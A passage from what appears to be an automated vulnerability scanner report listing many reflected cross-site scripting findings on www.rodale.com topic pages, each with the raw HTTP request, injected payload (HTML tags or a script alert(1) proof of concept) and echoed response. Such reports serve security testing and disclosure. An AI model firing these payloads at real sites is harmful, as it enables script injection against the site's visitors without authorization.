The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5fde9"><a>2c18a46d7a6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic5fde9"><a>2c18a46d7a6/sugar-tax HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:00 GMT
Date: Thu, 10 Mar 2011 17:19:00 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic5fde9"><a>2c18a46d7a6 topic5fde9">
...[SNIP]...

2.867. http://www.rodale.com/topic/sugar-tax [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/sugar-tax

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21a0f"><a>04cd3a0c7d3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/sugar-tax21a0f"><a>04cd3a0c7d3 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:35 GMT
Date: Thu, 10 Mar 2011 17:19:35 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-sugar-tax21a0f"><a>04cd3a0c7d3 node node-958">
...[SNIP]...

2.868. http://www.rodale.com/topic/sugar-tax [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/sugar-tax

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49b55"><script>alert(1)</script>83ee81c561a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/sugar-tax?49b55"><script>alert(1)</script>83ee81c561a=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:58 GMT
Date: Thu, 10 Mar 2011 17:18:58 GMT
Content-Length: 30937
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/sugar-tax?49b55"><script>alert(1)</script>83ee81c561a=1" title="Register" class="moreLink">
...[SNIP]...

2.869. http://www.rodale.com/topic/summer-safety [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/summer-safety

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ae32"><a>e9cbc85ba70 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic2ae32"><a>e9cbc85ba70/summer-safety HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:49 GMT
Date: Thu, 10 Mar 2011 17:18:49 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic2ae32"><a>e9cbc85ba70 topic2ae32">
...[SNIP]...

2.870. http://www.rodale.com/topic/summer-safety [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/summer-safety

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff6de"><a>ff8658693ea was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/summer-safetyff6de"><a>ff8658693ea HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:34 GMT
Date: Thu, 10 Mar 2011 17:19:34 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-summer-safetyff6de"><a>ff8658693ea node node-958">
...[SNIP]...

2.871. http://www.rodale.com/topic/summer-safety [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/summer-safety

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2bc07"><script>alert(1)</script>5cb2ba8c9f4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/summer-safety?2bc07"><script>alert(1)</script>5cb2ba8c9f4=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:48 GMT
Date: Thu, 10 Mar 2011 17:18:48 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32897

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/summer-safety?2bc07"><script>alert(1)</script>5cb2ba8c9f4=1" title="Register" class="moreLink">
...[SNIP]...

2.872. http://www.rodale.com/topic/sun-safety [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/sun-safety

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f979"><a>1ede1706e1c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic7f979"><a>1ede1706e1c/sun-safety HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:58 GMT
Date: Thu, 10 Mar 2011 17:18:58 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic7f979"><a>1ede1706e1c topic7f979">
...[SNIP]...

2.873. http://www.rodale.com/topic/sun-safety [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/sun-safety

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae559"><a>1ee8d248f1f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/sun-safetyae559"><a>1ee8d248f1f HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:34 GMT
Date: Thu, 10 Mar 2011 17:19:34 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-sun-safetyae559"><a>1ee8d248f1f node node-958">
...[SNIP]...

2.874. http://www.rodale.com/topic/sun-safety [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/sun-safety

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ede1"><script>alert(1)</script>8a4ff75599c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/sun-safety?2ede1"><script>alert(1)</script>8a4ff75599c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:57 GMT
Date: Thu, 10 Mar 2011 17:18:57 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32851

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/sun-safety?2ede1"><script>alert(1)</script>8a4ff75599c=1" title="Register" class="moreLink">
...[SNIP]...

2.875. http://www.rodale.com/topic/sunscreen-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/sunscreen-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4929"><a>c936baacd2d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topice4929"><a>c936baacd2d/sunscreen-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:05 GMT
Date: Thu, 10 Mar 2011 17:19:05 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topice4929"><a>c936baacd2d topice4929">
...[SNIP]...

2.876. http://www.rodale.com/topic/sunscreen-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/sunscreen-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88831"><a>46066113a06 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/sunscreen-088831"><a>46066113a06 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:46 GMT
Date: Thu, 10 Mar 2011 17:19:46 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-sunscreen-088831"><a>46066113a06 node node-958">
...[SNIP]...

2.877. http://www.rodale.com/topic/sunscreen-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/sunscreen-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b59a7"><script>alert(1)</script>94ef61afa2c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/sunscreen-0?b59a7"><script>alert(1)</script>94ef61afa2c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:59 GMT
Date: Thu, 10 Mar 2011 17:18:59 GMT
Content-Length: 30420
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/sunscreen-0?b59a7"><script>alert(1)</script>94ef61afa2c=1" title="Register" class="moreLink">
...[SNIP]...

2.878. http://www.rodale.com/topic/swine-flu-h1n1-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/swine-flu-h1n1-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 596a0"><a>6fb0b8e8f55 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic596a0"><a>6fb0b8e8f55/swine-flu-h1n1-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:09 GMT
Date: Thu, 10 Mar 2011 17:19:10 GMT
Content-Length: 22519
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic596a0"><a>6fb0b8e8f55 topic596a0">
...[SNIP]...

2.879. http://www.rodale.com/topic/swine-flu-h1n1-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/swine-flu-h1n1-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84cae"><a>b433de6271f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/swine-flu-h1n1-084cae"><a>b433de6271f HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:50 GMT
Date: Thu, 10 Mar 2011 17:19:50 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-swine-flu-h1n1-084cae"><a>b433de6271f node node-958">
...[SNIP]...

2.880. http://www.rodale.com/topic/swine-flu-h1n1-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/swine-flu-h1n1-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f36ac"><script>alert(1)</script>1870c142cb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/swine-flu-h1n1-0?f36ac"><script>alert(1)</script>1870c142cb=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:05 GMT
Date: Thu, 10 Mar 2011 17:19:05 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32925

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/swine-flu-h1n1-0?f36ac"><script>alert(1)</script>1870c142cb=1" title="Register" class="moreLink">
...[SNIP]...

2.881. http://www.rodale.com/topic/tai-chi [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/tai-chi

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38b9e"><a>527ebb2adb2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic38b9e"><a>527ebb2adb2/tai-chi HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:13 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:15 GMT
Date: Thu, 10 Mar 2011 17:19:15 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic38b9e"><a>527ebb2adb2 topic38b9e">
...[SNIP]...

2.882. http://www.rodale.com/topic/tai-chi [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/tai-chi

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d63f0"><a>20d3ace6ef9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/tai-chid63f0"><a>20d3ace6ef9 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:50 GMT
Date: Thu, 10 Mar 2011 17:19:50 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-tai-chid63f0"><a>20d3ace6ef9 node node-958">
...[SNIP]...

2.883. http://www.rodale.com/topic/tai-chi [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/tai-chi

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c050"><script>alert(1)</script>fcbc509eb33 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/tai-chi?8c050"><script>alert(1)</script>fcbc509eb33=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:12 GMT
